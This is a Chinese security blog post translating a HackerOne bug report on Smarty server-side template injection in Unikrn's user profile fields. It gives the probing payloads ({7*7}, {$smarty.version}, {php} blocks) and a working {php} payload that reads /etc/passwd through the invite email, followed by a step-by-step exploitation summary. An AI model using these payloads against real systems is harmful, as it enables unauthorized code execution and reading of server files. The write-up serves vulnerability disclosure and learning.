• 欢迎访问挑战自我博客网站,安全研究,web渗透,推荐使用最新版火狐浏览器和Chrome浏览器访问本网站,欢迎加入挑战自我博客网站 网站主页

php的Smarty服务端模板注入,允许远程执行命令

挖洞经验 挑战自我 来源:hackerone翻译 2396次浏览 已收录 0个评论

1、漏洞简介

我在Unikrn的服务器上发现了一个漏洞:可以允许我执行‘file_get_contents ’函数,并且读取/etc/passwd文件的内容。

2、漏洞具体描述

这个服务器看起来后台使用的是php的smarty模板,当在用户选项中的firstname, lastname或者nickname中输入一个恶意的payload,然后邀请一个用户来加入这个网站,然后就会导致代码被执行。

Smarty简介

    Smarty是一个使用PHP写出来的模板引擎,是目前业界最著名的PHP模板引擎之一。它分离了逻辑代码和外在的内容,提供了一种易于管理和使用的方法,用来将原本与HTML代码混杂在一起PHP代码逻辑分离。

    简单的讲,目的就是要使PHP程序员同前端人员分离,使程序员改变程序的逻辑内容不会影响到前端人员的页面设计,前端人员重新修改页面不会影响到程序的程序逻辑,这在多人合作的项目中显的尤为重要。

3、漏洞测试

开始测试的时候,我使用的测试payload是{7*7},然后我收到了一封邮件,邮件内容是一个模板错误内容。

php的Smarty服务端模板注入,允许远程执行命令

为了确认是否存在注入,我首先通过如下命令来确认当前使用的smarty版本:

{$smarty.version} 

接下来我用如下命令来测试打印输出

 {php}print "Hello"{/php}

最后,我利用file_get_contents函数来时读取/etc/pass文件,利用的命令是

{php}$s = file_get_contents('/etc/passwd',NULL, NULL, 0, 100); var_dump($s);{/php}

php的Smarty服务端模板注入,允许远程执行命令

4、漏洞利用总结

一是编辑你的个人配置文件
二是在个人配置中的first name, last name以及user name中分别填入如下的测试payload

{php}$s = file_get_contents('/etc/passwd',NULL, NULL, 0, 100); var_dump($s);{/php} 

三是开始邀请你的朋友加入网站
四是查看被邀请人的邮箱,你读取的文件已经被下载了


挑战自我博客, 版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权 , 转载请注明php的Smarty服务端模板注入,允许远程执行命令
喜欢 (16)
支付宝[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址